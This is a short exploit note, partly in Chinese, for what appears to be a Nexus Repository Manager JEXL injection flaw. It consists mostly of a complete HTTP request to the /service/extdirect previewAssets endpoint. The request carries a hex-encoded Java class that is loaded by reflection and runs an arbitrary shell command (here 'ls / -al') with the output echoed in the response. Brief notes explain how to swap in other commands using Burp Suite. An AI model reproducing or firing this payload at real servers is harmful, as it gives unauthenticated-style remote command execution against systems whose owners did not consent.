Some debug notes and exploit(not blind)
使用burpsuite，修改请求中的ls / -al即可，注意双引号会被替换成单引号
POST /service/extdirect HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 7249
Connection: close
{"action": "coreui_Component", "type": "rpc", "tid": 8, "data": [{"sort": [{"direction": "ASC", "property": "name"}], "start": 0, "filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "function(x, y, z, c, integer, defineClass){ c=1.class.forName('java.lang.Character'); integer=1.class; x='cafebabe0000003100ae0a001f00560a005700580a005700590a005a005b0a005a005c0a005d005e0a005d005f0700600a000800610a006200630700640800650a001d00660800410a001d00670a006800690a0068006a08006b08004508006c08006d0a006e006f0a006e00700a001f00710a001d00720800730a000800740800750700760a001d00770700780a0079007a08007b08007c07007d0a0023007e0a0023007f0700800100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100114c4578706c6f69742f546573743233343b01000474657374010015284c6a6176612f6c616e672f537472696e673b29560100036f626a0100124c6a6176612f6c616e672f4f626a6563743b0100016901000149010003636d640100124c6a6176612f6c616e672f537472696e673b01000770726f636573730100134c6a6176612f6c616e672f50726f636573733b01000269730100154c6a6176612f696f2f496e70757453747265616d3b010006726573756c740100025b42010009726573756c745374720100067468726561640100124c6a6176612f6c616e672f5468726561643b0100056669656c640100194c6a6176612f6c616e672f7265666c6563742f4669656c643b01000c7468726561644c6f63616c7301000e7468726561644c6f63616c4d61700100114c6a6176612f6c616e672f436c6173733b01000a7461626c654669656c640100057461626c65010005656e74727901000a76616c75654669656c6401000e68747470436f6e6e656374696f6e01000e48747470436f6e6e656374696f6e0100076368616e6e656c01000b487474704368616e6e656c010008726573706f6e7365010008526573706f6e73650100067772697465720100154c6a6176612f696f2f5072696e745772697465723b0100164c6f63616c5661726961626c65547970655461626c650100144c6a6176612f6c616e672f436c6173733c2a3e3b01000a457863657074696f6e7307008101000a536f7572636546696c6501000c546573743233342e6a6176610c002700280700820c008300840c008500860700870c008800890c008a008b07008c0c008d00890c008e008f0100106a6176612f6c616e672f537472696e670c002700900700910c009200930100116a6176612f6c616e672f496e74656765720100106a6176612e6c616e672e5468726561640c009400950c009600970700980c0099009a0c009b009c0100246a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617001002a6a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617024456e74727901000576616c756507009d0c009e009f0c009b00a00c00a100a20c00a300a40100276f72672e65636c697073652e6a657474792e7365727665722e48747470436f6e6e656374696f6e0c00a500a601000e676574487474704368616e6e656c01000f6a6176612f6c616e672f436c6173730c00a700a80100106a6176612f6c616e672f4f626a6563740700a90c00aa00ab01000b676574526573706f6e73650100096765745772697465720100136a6176612f696f2f5072696e745772697465720c00ac002f0c00ad002801000f4578706c6f69742f546573743233340100136a6176612f6c616e672f457863657074696f6e0100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000777616974466f7201000328294901000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0100136a6176612f696f2f496e70757453747265616d010009617661696c61626c6501000472656164010007285b4249492949010005285b4229560100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b010007666f724e616d65010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b0100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0100176a6176612f6c616e672f7265666c6563742f4669656c6401000d73657441636365737369626c65010004285a2956010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100176a6176612f6c616e672f7265666c6563742f41727261790100096765744c656e677468010015284c6a6176612f6c616e672f4f626a6563743b2949010027284c6a6176612f6c616e672f4f626a6563743b49294c6a6176612f6c616e672f4f626a6563743b010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b0100076765744e616d6501001428294c6a6176612f6c616e672f537472696e673b010006657175616c73010015284c6a6176612f6c616e672f4f626a6563743b295a0100096765744d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b0100186a6176612f6c616e672f7265666c6563742f4d6574686f64010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100057772697465010005636c6f736500210026001f000000000002000100270028000100290000002f00010001000000052ab70001b100000002002a00000006000100000009002b0000000c000100000005002c002d00000009002e002f0002002900000304000400140000013eb800022ab600034c2bb60004572bb600054d2cb60006bc084e2c2d032cb60006b6000757bb0008592db700093a04b8000a3a05120b57120cb8000d120eb6000f3a06190604b6001019061905b600113a07120b571212b8000d3a0819081213b6000f3a09190904b6001019091907b600113a0a120b571214b8000d3a0b190b1215b6000f3a0c190c04b60010013a0d03360e150e190ab80016a2003e190a150eb800173a0f190fc70006a70027190c190fb600113a0d190dc70006a70016190db60018b60019121ab6001b990006a70009840e01a7ffbe190db600183a0e190e121c03bd0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y=0; z=''; while (y lt x.length()){ z += c.toChars(integer.parseInt(x.substring(y, y+2), 16))[0]; y += 2; };defineClass=2.class.forName('java.lang.Thread');x=defineClass.getDeclaredMethod('currentThread').invoke(null);y=defineClass.getDeclaredMethod('getContextClassLoader').invoke(x);defineClass=2.class.forName('java.lang.ClassLoader').getDeclaredMethod('defineClass','1'.class,1.class.forName('[B'),1.class.forName('[I').getComponentType(),1.class.forName('[I').getComponentType()); \ndefineClass.setAccessible(true);\nx=defineClass.invoke(\n y,\n 'Exploit.Test234',\n z.getBytes('latin1'), 0,\n 3054\n);x.getMethod('test', ''.class).invoke(null, 'ls / -al');'done!'}\n"}, {"property": "type", "value": "jexl"}], "limit": 50, "page": 1}], "method": "previewAssets"}
写poc遇到了回显问题，解决一下
顺便膜一下Rico